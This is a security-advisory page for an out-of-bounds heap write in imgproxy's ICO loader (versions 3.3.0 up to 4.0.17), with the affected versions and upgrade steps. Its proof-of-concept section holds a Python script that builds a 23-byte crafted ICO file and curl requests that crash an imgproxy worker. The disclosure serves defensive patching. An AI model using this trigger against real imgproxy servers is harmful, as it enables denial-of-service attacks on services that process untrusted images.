imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash
GHSA-494m-4556-wf5p · published 30 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-494m-4556-wf5p?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/imgproxy/imgproxy/v3(Go) >= 3.3.0, < 4.0.17
How to check
- Run
go list -m github.com/imgproxy/imgproxy/v3in your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/imgproxy/imgproxy/v3to 4.0.17 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
Out-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2).
### Details
In `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:
```
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated
```
```
if ((num_colors == 0) && (bpp <= 8))
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
```
```
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer
height = height / 2;
```
With a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size >> 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).
### PoC
```py
# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA' # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
```
```
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
# HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
# Go panic dump → exit code 2. One request, one dead worker.
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)
```
### Impact
Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p
- github.com/imgproxy/imgproxy/pull/1726
- github.com/imgproxy/imgproxy/commit/39fd9e844a8a46084161502e993d5a3c16ccf28d
- github.com/imgproxy/imgproxy/releases/tag/v4.0.17
- github.com/advisories/GHSA-494m-4556-wf5p
- github.com/imgproxy/imgproxy
Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON